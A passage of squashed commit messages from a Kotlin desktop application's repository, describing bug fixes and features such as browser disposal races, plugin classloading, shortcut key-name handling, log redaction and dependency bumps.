the retained #313 test bodies for detekt. These changes are maintainer follow-up to the original #313/#317 contributions. * docs(ui): remove stale disabled top-bar feature list * test(ipc): protect advisory menu item ID uniqueness * fix(panels): keep store registration scoped to its window effect Remove the redundant unregister from plugin teardown. Document independent context services and synchronous Essenty onCreate replay, with tests for registration ownership and exactly-once create callbacks. Keep tab teardown hardening separate. Maintainer follow-up to the review of #317; original #313/#317 contributor credit is unchanged. * fix(crash): address consolidated sanitization review notes Maintainer follow-up to Claude N1-N4: document factory/copy invariant, correct stale comments, move Aditya original construction assertions into the service suite while retaining Antriksh blank/diagnostic cases, and log unexpected dialog submission failures. Original contribution credit remains separate. * fix(logging): keep server failure payloads out of secret RPC logs Maintainer follow-up to Claude review: log operation and exception type only, preserve sanitized return semantics, and check each catch for safe return/log wiring. Document measured hostname limits without broadening the matcher; add module-local redaction and diagnostic-preservation coverage. Antriksh original implementation remains credited separately. * ci: build PR batches on dev * Allow Claude diff reviews after approved fork builds (#413) * fix(browser): preserve newer clipboard copies during plain-text paste (#316) * fix(browser): paste-without-formatting no longer clobbers a copy made in its restore window (#205) * fix(browser): make paste-without-formatting's restore identity-based, not text-based Review of this PR caught that the text-equality guard cannot distinguish 'our write is still current' from 'a previous press already restored the rich original' - whose string projection is by construction the same text - so two presses inside the 200ms window permanently downgraded a rich clipboard to plain text. A PasteWithoutFormattingSession now tracks the exact Transferable each press installed and restores the pre-window original once, while a user copy in the window still wins. Adds five tests to BrowserClipboardCommandsTest, including the double-press regression; wraps the two over-limit lines; e.message -> e::class.simpleName in the touched handlers. * fix(browser): fold tryRestore's early exits so it stays within detekt's ReturnCount * fix(browser): blank lines between FakeTransferable overrides per ktlint * test(browser): retain clipboard restore scenarios from #408 * fix(browser): track clipboard ownership through AWT wrappers --------- Co-authored-by: rehannayeem0786 Co-authored-by: Shivang Co-authored-by: Antriksh1984 * fix(plugins): serialize concurrent first loads per class name (#324) * fix(plugins): prevent duplicate class definitions during concurrent loads * fix(plugins): make class loading parallel-safe * test(plugins): pin concurrent loading lifecycle boundaries Maintainer consolidation follow-up: retain #324 synchronization and its tests; add concurrent shared-name, superclass, and unload-marker coverage. Document caller-sensitive registration based on arjun28115 review feedback and clarify that marking unload does not drain an already admitted parent lookup. No global lifecycle lock or resource-policy changes. --------- Co-authored-by: sgoel2be24-cyber <223222024+sgoel2be24-cyber@users.noreply.github.com> Co-authored-by: Procs <168113425+ProportanilityConstant@users.noreply.github.com> Co-authored-by: Shivang * fix(browser): defer native disposal until admitted calls drain (#312 + #409) (#412) * fix: make BrowserHandle JavaScript execution cancellable the previous synchronous JxBrowser call blocked the Main/EDT thread; coroutine cancellation could not take effect while that call was blocking; the implementation now uses JxBrowser’s asynchronous JavaScript callback API; suspendCancellableCoroutine makes the Kotlin waiting side cancellable; late callbacks after cancellation are safely ignored; this does NOT terminate JavaScript already executing inside Chromium. * fix: add robust native call lifecycle tracking for disposal * test: verify native operation cleanup on synchronous failure * fix: linearize browser disposal and pending operation tracking * fix: resolve detekt violations in browser native tracking * test: satisfy detekt failure simulation rule * fix: close native operation disposal race * fix(browser): drain an in-flight call before closing the browser Issue #300 reports that executeJavaScript is a synchronous, non- cancellation-aware native call, and a plugin's own withTimeoutOrNull around it can only abandon the caller's wait - not the call itself - which stays running on Main indefinitely and can race a concurrent handle.dispose(), touching the same native object from two threads at once. The severe half of this was already fixed by BoundedBrowserCall: this class confines every blocking round trip to one dedicated daemon thread instead of Dispatchers.Main, so a wedged renderer no longer freezes the app. What was not yet closed is the residual window this issue's core report is actually about: shutdown() stopped new work but did not wait for whatever was already running, so a caller could proceed straight to browser.close() while a call from just before shutdown was still finishing on the dedicated thread. shutdown() now waits, bounded, for that in-flight call to drain before returning. Costs nothing in the common case - awaitTermination returns immediately once the one worker thread and its queue are both idle, which is where an instance sits between calls - and only the bound in the rare case something was genuinely still running. Known, and disclosed in the KDoc rather than claimed away: this narrows the race for the common case (a call that was always going to finish quickly) rather than closing it. It cannot help when the in-flight call is itself the wedge this class's own deadline exists for - waiting unboundedly for a genuinely stuck call would reintroduce the exact freeze BoundedBrowserCall exists to prevent, just moved from a plugin's await into every caller's teardown path. There is no JxBrowser API on this version able to interrupt a blocking round trip already inside the native call, which is the whole reason the call is confined to its own thread instead of cancelled - closing that window completely needs JxBrowser's own cooperation, which the issue's own analysis already concluded is unavailable. Tests: shutdown waits for a fast in-flight call to finish before returning, and does not wait past its own drain timeout for a wedged one - the same before/after pair the rest of this test file already uses for BoundedBrowserCall's deadline. * fix(browser): defer native close until admitted calls drain Consolidates the lifecycle work from #312 (johncybersage) and #409 (Antriksh1984), retaining both original histories. Replaces success-only callback accounting and timeout-then-close with executor termination signals and host-owned native/profile cleanup. These corrections and replacement tests are maintainer/agent work, separate from contributor scoring. * fix(browser): bound profile waits and clarify deferred cleanup ownership Address consolidation review: schedule both service disposal paths without awaiting native close, diagnose pending drains, centralize executor ownership, and bound profile lease acquisition without permitting unsafe reuse or eviction. Document process-exit abandonment and verify wiring and cleanup ordering. Maintainer/agent follow-up, separate from original #312 and #409 contributor credit. * fix(browser): schedule disposal after early UI teardown failure * ci: create launcher directory before Claude native installation * Revert "ci: create launcher directory before Claude native installation" This reverts commit 5184908e6c3f133502508513b4c5e17651b13bc0. * test: keep warmup registry ordering check on one event loop * test(browser): normalize CRLF in disposal source wiring guards --------- Co-authored-by: john k Co-authored-by: john k Co-authored-by: Antriksh1984 * feat(tabs): show a speaker glyph on tabs that are playing audio (#314) * feat(tabs): show a speaker glyph on tabs that are playing audio (#308) * fix(tabs): review round - compile, registry lifetime, UI-thread marshalling, owner flush 1. graphicsLayer import dropped (does not exist at that package); the fade now uses .alpha(audioAlpha), already imported. 2. TabAudioRegistry no longer outlives its owner: disposeAllTabsBlocking unregisters everything this component registered, and DetachedTab.destroy drops the entry for a tab destroyed without adoption - the handler captures the BossTabsComponent, so stale entries retained it. 3. The registry update is marshalled to the EDT via SwingUtilities.invokeLater, so the tab-model mutation happens on the UI thread as the KDoc claims. 4. setFullscreenHandler flushes the current playback state once ownerTabId becomes known, closing the starts-before-registration race the review could not verify. 5. TabAudioRegistryTest added: delivery, last-writer-wins, ownership-checked unregister. * fix(tabs): CI round 2 - DetachedTab receiver error, long line, and baseline-preserving signatures - BossMainWindowPanel.kt:2098: DetachedTab is a non-inner nested class and cannot use the outer component as receiver; the audio-handler drop moves to detachTab instead, which is where adoption-vs-destroy actually diverges. - TabAudioRegistry.kt:9 wrapped under detekt's 120-char limit. - FluckTabInfo.isPlayingAudio and BossTabButton's glyph read no longer change any signature: the flag is a mutable property (copied in copy()'s body) and the button reads it off tabInfo, so the constructor, copy() and BossTabButton keep their exact baseline-frozen detekt IDs and the resurfaced LongMethod/LongParameterList/CyclomaticComplexMethod findings retire. * fix(tabs): fold handleAudioUpdate within ReturnCount; add missing final newline in the test file * fix(tabs): publish audio state by browser ownership and keep icon layout stable --------- Co-authored-by: rehannayeem0786 Co-authored-by: Shivang * feat: connect chrome density settings and keyboard controls (#305) * feat: wire the chrome density scale into settings and small-screen defaults ChromeDensity / ChromeDimens.of() / LocalChromeDimens already existed on main and every bar (BossTitleBar, BossTopBar, the main tab bar, BossBottomBar) already read its height from BossChrome.dimens - but LocalChromeDimens was never provided anywhere, so it silently resolved to its staticCompositionLocalOf default (Comfortable) always. The scale was built and unreachable. This closes that gap: - WindowAppearanceSettings gets a `density` field (default COMFORTABLE, so an existing install's settings file - which has never heard of this key - decodes to exactly the chrome it already had; no settings-version bump needed). - BossApp.kt now provides LocalChromeDimens from that field, host-only and outside BossAppCompositionLocals (plugins never draw host chrome). - A "Density" dropdown in Settings > Bars (Compact/Comfortable/Spacious), indexed in Settings search. - A fresh install on a small screen (< 1000dp logical height, clearing the 13" MacBook Air's ~931-956pt from #239's own measurements) now defaults to Compact and starts with the bottom bar off - the one bar this manager can still reclaim itself, since the side strips are already off by class default. Toolkit.getScreenSize() is read once, wrapped in runCatching (HeadlessException off a display must not break a fresh install), with a pure defaultDensityFor(screenHeightDp) so the decision is unit-testable without a display. Addresses #239, scoped down from the full issue. Out of scope in this pass, deliberately: - The app does not yet report its own chrome budget as a measured percentage - the issue's own "state it, don't argue it" ask. Reachable later from the same ChromeDimens source, but needs a spot to render it. - The title bar's 27dp "Boss Console" label row is untouched - collapsing or merging it with the tab bar is a separate, riskier layout change than a density scale. - No regression intended to the existing per-bar show/hide switches or focus-mode edges: density only changes how much room a bar that is already on screen takes, never whether it is shown. * fix: drop the Compact-density bottom-bar auto-off, wrap an overlong line Address review feedback on #305: - Removed showBottomBar = density != ChromeDensity.COMPACT from getDefaultSettings(). ChromeMetricsTest already shows the shipped macOS defaults reach 93.3% of a 931dp window at Comfortable, so #239's >=90% bar is met without touching the status bar - and that bar's own KDoc argues it must stay on ("the only always-on readout"). It was also reachable from the settings-load catch fallback, so a transient read error could silently drop the bar and have the next save persist the loss. Compact now only changes density, nothing else. - Wrapped primaryScreenHeightDp() - was 121 chars, one over detekt's default MaxLineLength (120), which applies here since .editorconfig's 140 is a ktlint-only setting and this line wasn't in the baseline. * feat: add chrome density setting * feat: add small-screen chrome defaults * feat: add chrome density controls and small-screen defaults * fix(ui): preserve lean density defaults and test density controls * style: format multiline screen-height lookup * fix(ui): separate density recovery and make editor chords opt-in * style: wrap density default documentation --------- Co-authored-by: AdityaK-iiita Co-authored-by: Shivang * fix(plugins): stop host resource fallback after unload (#325) * fix(plugins): stop host resource fallback after unload * fix(plugins): preserve resource warning for a missing result --------- Co-authored-by: sgoel2be24-cyber <223222024+sgoel2be24-cyber@users.noreply.github.com> Co-authored-by: Shivang * Handle closed browser frames during navigation callbacks (#400) * Handle closed browser frames during navigation callbacks * test(browser): retain closed-event guard after navigation integration * fix(browser): preserve helpers on PID failure and recognize closed transports * style(browser): wrap review diagnostics for detekt --------- Co-authored-by: Shivang * refactor(window): pin the panel content alignment width (#398) * fix(window): restore strict width constraints for nested panels Fixes #278. Commit c15660c5 inadvertently dropped the explicit width constraint for nested panels in the right dock by wrapping them inside a PanelColumn with a Box(weight(1f)) that lacked fillMaxWidth(). This loose constraint caused a known issue with SubcomposeLayout caching stale bounds when resized, resulting in Row content disappearing after weighted Spacers. This commit restores the .fillMaxWidth() propagation. * Cover panel content alignment across width changes * Keep panel layout regression in the existing app test package * Document panel alignment contract and pin filling content width * Wrap the panel width assertion to satisfy detekt --------- Co-authored-by: Shivang * #320 - Fix quick actions vanishing in short tab rail (#328) * #320 - Fix quick actions vanishing in short tab rail * Fix: detekt & ktlint checks * Fix rail action budgets and reversible fallback wiring * Fix resize test assertion import and update rail coverage note --------- Co-authored-by: Shivang * fix(crash): refine scroll boundary and bound error sanitization (#350) * fix(crash): refine scroll boundary and bound error sanitization * Avoid exposing a partial token at the crash message limit * Document sanitizer input bound and verify expansion ordering --------- Co-authored-by: Aishwary Anand Co-authored-by: Shivang * fix(logging): redact private hostnames (#346) * fix(logging): redact private hostnames * Handle private hostname punctuation and preserve diagnostic ports * Format hostname punctuation regression assertion --------- Co-authored-by: ayush Co-authored-by: Shivang * feat: Opening an .html file should ask open as a file or webpage (#333) * feat: Opening an .html file should ask open as a file or webpage * Fix HTML prompt delivery and persisted preference ordering * Cover HTML routing and correct review test fixtures * Honor HTML navigation intent and release pending prompts on failure * Isolate HTML prompt handling from the general dialog host --------- Co-authored-by: Shivang * fix(plugin-store): parse timestamps consistently in list and detail metadata (#379) * Fix: Implement proper ISO timestamp parsing in PluginStoreClient * fix(repository): implement robust ISO timestamp parsing for Supabase payloads * style(repository): resolve detekt MaxLineLength and TooGenericExceptionCaught * fix(plugin-store): implement plugin metadata timestamp parsing PluginStoreClient.parseTimestamp was a stub that always returned 0L, so every plugin fetched from the store showed "Last Updated"/"Published" as the Unix epoch in the Toolbox UI regardless of what the server actually sent (#337). Parses the ISO-8601 timestamp (the shape the store sends, e.g. 2024-05-12T14:30:00Z, or with a numeric offset) via java.time.Instant, falling back to 0L for a blank, missing, or malformed string rather than throwing - matching the field's own empty-string default for a response that omits it. java.time rather than adding kotlinx-datetime as a new dependency: this module already uses java.util.* directly in the same commonMain source set (it has one real target, jvm("desktop")), so nothing is gained by introducing a second time library for one function. Tests exercise the real PluginDetailResponse.toPluginInfo(), matching the convention already established next to it in PluginStoreResponseDecodingTest: a Z-suffixed timestamp, a numeric-offset timestamp, a blank string, and a malformed string. * Fix timestamp normalization edge cases and verify both response mappings * Use release publication dates and pin timezone-independent fallback --------- Co-authored-by: Sanjay Co-authored-by: Antriksh1984 Co-authored-by: Shivang * feat(remote-ui): authenticate and expose remote UI surfaces (#348) * feat(remote-ui): authenticate remote UI process identity * feat(remote-ui): place authenticated remote UI surfaces * fix(remote-ui): close ownership and placement lifecycle races * test(remote-ui): expose placement recovery cases to JUnit --------- Co-authored-by: Shivang * feat(dashboard): add shared read-only What's New release feed (#381) * Add What's New release feed to dashboard * Serialize update settings persistence * Remove unused update settings import * fix(updater): retain realtime refreshes during shared release fetches * style(updater): format shared release fetch regression tests * fix(updater): coalesce release refresh bursts and preserve visible history --------- Co-authored-by: Shivang * fix(language): consolidate host and out-of-process language-id tables (#358) * fix(language): consolidate host and out-of-process language-id tables EditorLanguages (composeApp) and EditorServiceImpl (modules/boss-app-editor) each hand-maintained their own extension-to-language-id table because boss-app-editor - a plain JVM module compiled to a GraalVM native image - could not depend on anything in composeApp. They disagreed: EditorServiceImpl named .sh/.bash/.zsh "shell", EditorLanguages named them "bash", and EditorServiceImpl was missing more than forty ids the other table had (fortran, delphi, latex, lisp, tcl, clojure, batch, diff, ...) (#75). Moves the table into a new plugin-platform/plugin-language-types module - dependency-free by design, so it carries nothing extra into boss-app-editor's native-image build - and has both EditorLanguages and EditorServiceImpl read from it. This is the first time anything under modules/ depends on plugin-platform/; verified compiling and passing tests before committing to the approach. EditorLanguages keeps its existing public API unchanged (same values for every extension), so FileTypeCategoriesTest and EditorLanguageDetectionTest needed no changes. EditorServiceImpl keeps its own "proto"->"protobuf" entry and "plaintext" fallback as local additions on top of the shared table, rather than folding them into it: proto isn't part of the boss-file-types.json default-app-association surface the shared table backs, and "plaintext" is this service's own gRPC default, not a value composeApp reads. Adds LanguageIdsTest (the new module) and EditorServiceImplTest (previously no tests existed for this class at all) - the latter pins the actual bug fix, that detectLanguage("sh") now returns "bash" instead of "shell". Out of scope, and disclosed rather than silently dropped: two of the five duplicate tables the issue names - the editor-tab plugin's own LanguageDetection and BossEditor's lexer registry - live in separate repositories this build cannot reach. FileIcons.forSpecialFileName/forFile in plugin-icons is also not consolidated: it keys icon selection off the raw filename to preserve distinctions a language id can't carry (package.json, yarn.lock and pnpm-lock.yaml are all valid JSON/YAML but get three different brand icons) and never computes a language id in the first place, so routing it through this table would need a separate icon-selection redesign. * fix(language): keep file-association drift checks on the shared table * fix(language): apply shared filename rules to editor file opens --------- Co-authored-by: Shivang * fix(editor): contain write-local stack overflow and preserve fatal errors (#396) * Make writeFileContentSafe actually safe: catch the Errors it was named for `writeFileContentSafe` exists to return false rather than throw. It did not hold that contract: } catch (e: Exception) { fileIoLogger.warn(LogCategory.EDITOR, "Error writing file", error = e) false } StackOverflowError is an Error, not an Exception, so it went straight through - out of writeFileContent, out of the editor_write_file MCP handler, and to the caller as a bare StackOverflowError instead of the handler's own "Write failed for ". The warn that would have named the file never ran either. That is not hypothetical. risa-labs-inc/boss-plugin-editor-tab#18 and #27 are two independent reports of it, on unrelated content, and #27's complaint is precisely the missing diagnosis: the error "gives no indication of which input caused it". StackOverflowError and OutOfMemoryError are caught explicitly rather than widening to Throwable. A stack overflow unwinds and leaves the JVM usable, and readFileContentSafe in this same file already treats OutOfMemoryError as a reportable outcome. Throwable would also absorb LinkageError and ThreadDeath, which are not this function's to swallow - there is a test asserting a NoClassDefFoundError still propagates. The failure log now names the path and the character count. Not the content: these writes carry whatever the user is editing. **This does not fix the write.** Whatever recurses is upstream of this function, which is mkdirs plus writeText - I ruled out the plugin's handler, this write, and the host's MCP argument parsing, and said so on the issue. What changes is that the failure is reported honestly instead of escaping, which is where a diagnosis can start. The body moves to `guardedWrite` with an injectable write, because a test JVM cannot be made to overflow the stack inside writeText on demand. Verified: 3729 tests, 0 failures, plus ktlintCheck and detekt. Refs risa-labs-inc/boss-plugin-editor-tab#18, #27. Co-Authored-By: Claude Opus 5 * docs(editor): clarify write guard scope and prior recursion fix * fix(editor): preserve fatal heap errors in write guard --------- Co-authored-by: Claude Opus 5 Co-authored-by: Shivang * fix(state): apply version-checked JSON merge patches (#361) * Fix: Implement proper ISO timestamp parsing in PluginStoreClient * Feature: Implement JSON Merge Patch for plugin delta state synchronization * fix(state): validate delta bases and exclude duplicate timestamp scope * fix(state): reject malformed and deeply nested patches --------- Co-authored-by: Shivang * :arrow_up: deps:(deps): Bump grpc from 1.83.1 to 1.84.0 (#363) Bumps `grpc` from 1.83.1 to 1.84.0. Updates `io.grpc:grpc-netty` from 1.83.1 to 1.84.0 - [Release notes](https://github.com/grpc/grpc-java/releases) - [Commits](https://github.com/grpc/grpc-java/compare/v1.83.1...v1.84.0) Updates `io.grpc:grpc-protobuf` from 1.83.1 to 1.84.0 - [Release notes](https://github.com/grpc/grpc-java/releases) - [Commits](https://github.com/grpc/grpc-java/compare/v1.83.1...v1.84.0) Updates `io.grpc:grpc-stub` from 1.83.1 to 1.84.0 - [Release notes](https://github.com/grpc/grpc-java/releases) - [Commits](https://github.com/grpc/grpc-java/compare/v1.83.1...v1.84.0) Updates `io.grpc:grpc-services` from 1.83.1 to 1.84.0 - [Release notes](https://github.com/grpc/grpc-java/releases) - [Commits](https://github.com/grpc/grpc-java/compare/v1.83.1...v1.84.0) Updates `io.grpc:grpc-util` from 1.83.1 to 1.84.0 - [Release notes](https://github.com/grpc/grpc-java/releases) - [Commits](https://github.com/grpc/grpc-java/compare/v1.83.1...v1.84.0) --- updated-dependencies: - dependency-name: io.grpc:grpc-netty dependency-version: 1.84.0 dependency-type: direct:production update-type: version-update:semver-minor - dependency-name: io.grpc:grpc-protobuf dependency-version: 1.84.0 dependency-type: direct:production update-type: version-update:semver-minor - dependency-name: io.grpc:grpc-stub dependency-version: 1.84.0 dependency-type: direct:production update-type: version-update:semver-minor - dependency-name: io.grpc:grpc-services dependency-version: 1.84.0 dependency-type: direct:production update-type: version-update:semver-minor - dependency-name: io.grpc:grpc-util dependency-version: 1.84.0 dependency-type: direct:production update-type: version-update:semver-minor ... Signed-off-by: dependabot[bot] Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com> Co-authored-by: Shivang * :arrow_up: deps:(deps): Bump protobuf from 4.36.0 to 4.36.1 (#364) Bumps `protobuf` from 4.36.0 to 4.36.1. Updates `com.google.protobuf:protobuf-kotlin` from 4.36.0 to 4.36.1 Updates `com.google.protobuf:protobuf-java` from 4.36.0 to 4.36.1 - [Release notes](https://github.com/protocolbuffers/protobuf/releases) - [Commits](https://github.com/protocolbuffers/protobuf/commits) --- updated-dependencies: - dependency-name: com.google.protobuf:protobuf-kotlin dependency-version: 4.36.1 dependency-type: direct:production update-type: version-update:semver-patch - dependency-name: com.google.protobuf:protobuf-java dependency-version: 4.36.1 dependency-type: direct:production update-type: version-update:semver-patch ... Signed-off-by: dependabot[bot] Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com> Co-authored-by: Shivang * fix(plugins): defer stale jar cleanup until restart (#340) * fix(plugins): defer stale jar cleanup until restart * fix(plugins): satisfy quality checks * Preserve staged plugin artifacts when another plugin updates * Require cleanup intent and retain artifacts with unordered manifest versions --------- Co-authored-by: ayush Co-authored-by: Shivang * fix(plugins): defer fluck-browser hot-reload to a restart (#352) * fix(plugins): defer stale jar cleanup until restart * fix(plugins): defer fluck-browser hot-reload to a restart Hot-reloading fluck-browser force-unloads the classloader that created its JxBrowser native views. Every open tab - and every tab opened afterward, since the factory that would recreate the view is gone too - draws an empty box, and a second hot-reload does not recover it; only a full restart does. HotReloadPolicy names plugins that must never be swapped in place, matching the existing NOT_USER_INSTALLABLE/RetiredPlugins pattern. It's checked at every path that can force-unload a live plugin to apply an update: the resetPluginInstances/doReloadPlugin path that actually reproduced this bug, the menu-driven Reload action, the Toolbox update flow, and the store installer. For a not-hot-reloadable plugin, the new jar is staged into installed.json without touching the running instance or its open tabs, and a status message tells the user to restart to apply it - the next cold start loads the update with a fresh classloader. Also fixes two call sites that asked "restart dependent plugins?" before checking whether an unload was even going to happen, which produced a confusing prompt for an unload that a deferred update was never going to do. * fix(plugins): satisfy quality checks * Preserve staged plugin artifacts when another plugin updates * Validate deferred browser artifacts and reject ineffective downgrades * Require cleanup intent and retain artifacts with unordered manifest versions * Preserve unloaded-browser recovery and unify safe deferred selection * Format scoped update cleanup integration --------- Co-authored-by: ayush Co-authored-by: Shivang * Harden OOP plugin reaping: hook-race flag, registry cleanup, spawn guard (#135) (#365) * Harden OOP plugin reaping: hook-race flag, registry cleanup, spawn guard (#135) reapDepth (AtomicInteger) replaces the boolean reaping flag, so the two JVM shutdown hooks (main.kt and KernelBootstrap) cannot clear the in-progress signal while the other is still reaping (item 2). reapChildren now unregisters reaped handles from the process-wide ProcessRegistry, so stale dead entries do not persist across an in-process mode switch (item 4). OutOfProcessPluginSpawnerImpl.spawn() stands down when isReaping(), so a plugin load racing host exit cannot register a child after the reap snapshot (item 3). Covered by ReapChildrenTest. * Serialize plugin spawn registration with reaping and preserve replacement handles * Fence late process creation without blocking shutdown and cover recovery --------- Co-authored-by: Shivang * fix(plugins): complete loader cleanup after disposal linkage errors (#302) * fix: API hot swap during startup * fix: workflows * resolved comments by maintainer * fix CI and build * Scope disposal error resilience and cover loader cleanup after linkage failure --------- Co-authored-by: Shivang * Fix shortcut rebinding key storage (#329) (#335) * #329 - Fix: store key names when rebinding shortcuts * Fold the key spellings Compose renders but the AWT interceptor does not BOSS maintains two key-name vocabularies over one keyboard. `AWTKeyboardInterceptor.getKeyName` names a physical key one way; Compose's `Key.toString()`, which is where `KeymapMatcher` and the Shortcuts screen both get a name, names it another. Neither list is derived from the other, and where they disagree a chord fires on one path and silently does nothing on the other. They had drifted on fourteen keys. Nine are reachable in a running app, because `Key.toString()` falls through to AWT's `getKeyText`, which answers with the macOS glyph once the toolkit is up: Enter, Escape, Tab, Backspace, Delete, Home, End, PageUp and PageDown. So `KeymapMatcher` was asking whether the glyph was "Tab" and being told no, which takes out Ctrl+Tab and Ctrl+Shift+Tab (TAB_NEXT and TAB_PREVIOUS) in all four shipped presets. They survive only on the AWT interceptor, which says "Tab" on both sides. The other five are the cold-JVM spellings the same call renders before the toolkit is up (`Back Slash`, `Quote`, `Back Quote`, `Page Up`, `Page Down`), not reachable in a running app but folded for the same reason. This is the shape `Left`/`DirectionLeft` and the bracket pair already were, so the fix is entries in the table those live in rather than a new mechanism. Also here, because the divergence is what they are about: - `composeKeyName` is the one place that reads a name out of `Key.toString()`. `KeymapMatcher.keyMatches` had its own copy of that parse, and two copies is how one path came to know a spelling the other did not. - `KeyVocabularyAgreementTest` walks the two tables key by key over all 73 bindable keys. Only the pairing of a Compose `Key` to its AWT keycode is hand-written, since that is the identity of the key itself; both vocabularies are read from the code under test, so the next divergence fails a build rather than a keystroke. A second test asserts the fold does not collapse keys that are distinct, which asserting agreement alone would pass without. - `CanonicalKeyNameTest` enumerates the glyph and spaced spellings, because the agreement test's input is whatever the environment renders and a cold run cannot reach the glyphs. `getKeyName` becomes `internal` so the test can read it; the two detekt baseline entries are rekeyed for the visibility change, with the function unchanged. Verified warm and cold: 3705 tests in :composeApp:desktopTest, plus ktlintCheck and detekt. Mutation-checked - reverting the new aliases fails the agreement test and names every key it lost. Co-Authored-By: Claude Opus 5 * Store a folded key name on capture, and repair the keymaps that hold a keyCode Completes #329, on top of the one-line capture fix in #335. which is the right shape and stops new rebinds being dead. Its own description records the rest as future work: the keymaps already on disk still hold numeric keys, and nothing tests it. This is that rest. **Fold the name before storing it.** The raw rendering is not the presets' vocabulary and it is not stable. The left arrow renders "Left" against the presets' "DirectionLeft", the right bracket "Close Bracket" against "CloseBracket", the 1 key "1" against "One" - all of which MATCH through the alias table, none of which DISPLAY the same, because `formatKeyDisplay` knows "directionleft" and not "left". Stored raw, a rebound arrow lists as "⌘LEFT" beside a preset's "⌘←". And `Key.toString()` falls through to AWT's `getKeyText`, which answers with a word while the toolkit is cold and the macOS glyph once it is up, so the same user rebinding Tab gets "Tab" or the glyph depending on nothing they did. `storedKeyName` folds through `canonicalKeyName` first, which makes a rebind indistinguishable from a preset binding: same match, same signature, same rendering, and deterministic. **Existing keymaps are handled twice, deliberately.** `canonicalKeyName` resolves a stored keyCode so an unmigrated file keeps matching, AND the settings migration rewrites it so the file stops holding a ten-digit key. Either alone is not enough: the migration cleans one file, and a keymap restored from a backup, copied off another machine, or exported and re-imported reaches the matchers before it reaches the migration. **The repair runs before `migrateSettings`' chord arithmetic**, which is what lets #322's drop-on-conflict guard see a UI rebind at all. While those signed as a numeric key, `chordHolders` produced a signature no preset chord could equal, so a keymap whose owner had rebound an action through the UI read as not claiming that chord and the guard handed a new action straight onto it. #322's own motivating example is "someone who rebound panel.navigate_right", which is a UI rebind: the guard was protecting hand-edited files and not the ones made in the app. Two smaller things: - The dialog's preview was rendering the raw keyCode too. It had a private copy of the display formatter, and now renders the exact `KeyStroke` that Apply persists, so the preview cannot disagree with what is saved. - `KeyBinding.fromComposeKey` had the same `key.keyCode.toString()` line. It has no caller today, which is exactly why it would have outlived the fix. Answering the question the issue leaves open: yes, the Shortcuts screen's own tester reports these, so it reproduces without a build change. `ShortcutTestRunner.validateKeyName` reaches its "Unknown key name" branch and the row goes red. Verified: 3705 tests in :composeApp:desktopTest, plus ktlintCheck and detekt. Co-Authored-By: Claude Opus 5 * Preserve MoveHome and MoveEnd aliases from PR #405 Extract the additional Home/End property-name aliases and assertions from #405. Maintainer integration retains home/end as canonical spellings for the existing vocabulary. * Keep unrecognised legacy key codes intact during repair * Exercise warm toolkit key names and correct rendering comments * Keep shortcut capture consumers consistent and reject modifier-only captures * Keep import regression setup readable * Order warm-toolkit test imports per repository style * Recognise unknown-key diagnostics independently of their localized prefix * Wrap modifier key lists for quality gates * Share the dispatcher modifier and lock-key exclusions with capture * Use public shortcut equality in the formatted menu regression test * Preserve malformed native codes instead of storing invalid Unicode * Cover the new dev chrome-density shortcut in capture round trips --------- Co-authored-by: Arjun Singla Co-authored-by: Claude Opus 5 Co-authored-by: Antriksh1984 Co-authored-by: Shivang * fix: make sidecar backfill lifecycle reliable (#347) * fix: make sidecar backfill lifecycle reliable * test(plugins): format sidecar backfill tests * fix(plugins): keep backfill persistence on IO and cover lifecycle transitions * fix(plugins): retry interrupted auth backfill and dispatch the full drain on IO * style(plugins): format sidecar coordinator declarations * style(plugins): keep unsigned predicate within line limit * style(plugins): wrap unsigned predicate expression * style(plugins): name the current stamp in unsigned predicate --------- Co-authored-by: ayush Co-authored-by: Shivang * fix: await SupabaseConfig initialization before syncing plugin manifest (#366) * fix: await SupabaseConfig initialization before syncing plugin manifest * style: fix ktlint import order for java.io.File * fix(plugin): wait for SupabaseConfig before starting the manifest sync SystemPluginManifestService.startSync() ran its startup fetch and Realtime subscription before SupabaseConfig finished its own async initialize() call in the Compose UI layer, so both routines' first attempt hit SupabaseConfig.client's "not initialized" throw: a startup warning for the fetch, and an unnecessary first trip through the subscription's backoff retry loop before it ever connects (#370). SupabaseConfig.isInitialized already exists as a StateFlow for exactly this. Both of startSync's launched coroutines now suspend on it once, before touching the client, replacing a guaranteed-to-fail-once startup path with a wait for the real precondition. The existing "catch up on (re)connect" comment in subscribeToChanges - added because this same race could also just lose - stays accurate; this closes the race rather than only compensating for it afterward. Test exercises the actual mechanism: a coroutine awaiting SupabaseConfig.isInitialized genuinely suspends (verified via TestCoroutineScheduler.runCurrent(), not a coroutine that was merely scheduled and never run) until initialize() is called, then resolves. * Isolate manifest readiness regressions from stored auth sessions * Test manifest readiness without singleton side effects --------- Co-authored-by: Antriksh1984 Co-authored-by: Shivang * Fix heavyweight modals dismissing destructively on focus loss (#152) (#353) * Fix heavyweight modals dismissing destructively on focus loss (#152) Extending LocalHeavyweightOverlays to the whole BossWindow content routed several dialogs through HeavyweightModal, which dismisses whenever focus leaves the application (oppositeWindow == null). Two dialogs dismiss to a destructive action, so this was a regression: - MemoryPressureNoticeDialog dismisses to acknowledge(), clearing the once-per-session notice and its restart offer unread on an alt-tab away. - ScreenCapturePickerDialog dismisses to cancel the capture request, so switching to the window you want to share silently killed the share. Add an internal LocalDismissModalOnFocusLoss CompositionLocal (default true) that the two dialogs set to false, honoured in shouldDismissOnFocusLoss. This suppresses only the focus-loss path - Escape and the scrim still dismiss deliberately. Kept host-side rather than as a BossDialog/modalRenderer parameter because those signatures are pinned by the binary-compatibility validator and would need a coordinated api-then-host release; both callers are host dialogs in composeApp. Covered by HeavyweightOverlayTest. * fix(overlays): address dismissal review and pin destructive dialog wiring * style(overlays): order dialog property import * style(overlays): wrap dismissal wiring assertion * style(overlays): import the regression fixture root helper --------- Co-authored-by: Shivang * Fix toast overlay clipping content at its first-frame size (#154) (#354) * Fix toast overlay clipping content at its first-frame size (#154) HeavyweightCorner measured its content against a ceiling of min(initialSize, region), so the toast overlay's 432x600 initialSize doubled as a hard clip. Three verbose toasts can exceed 600dp, and because the overlay window is content-sized the overflow is not cosmetic: the bottom toast's dismiss button lands outside the window, unclickable, on the INDEFINITE path where dismissing is the only way out, so the toast is genuinely stuck. measuredAgainst already decoupled measurement from the window's current size, so the two uses of the initial size no longer need to be one number. Size the ceiling to the parent region instead (regionCeiling), leaving initialSize as only the small first-frame placeholder. Content now grows the window up to what the parent can actually show rather than being clipped. Other callers are unaffected: intrinsically-sized content measures the 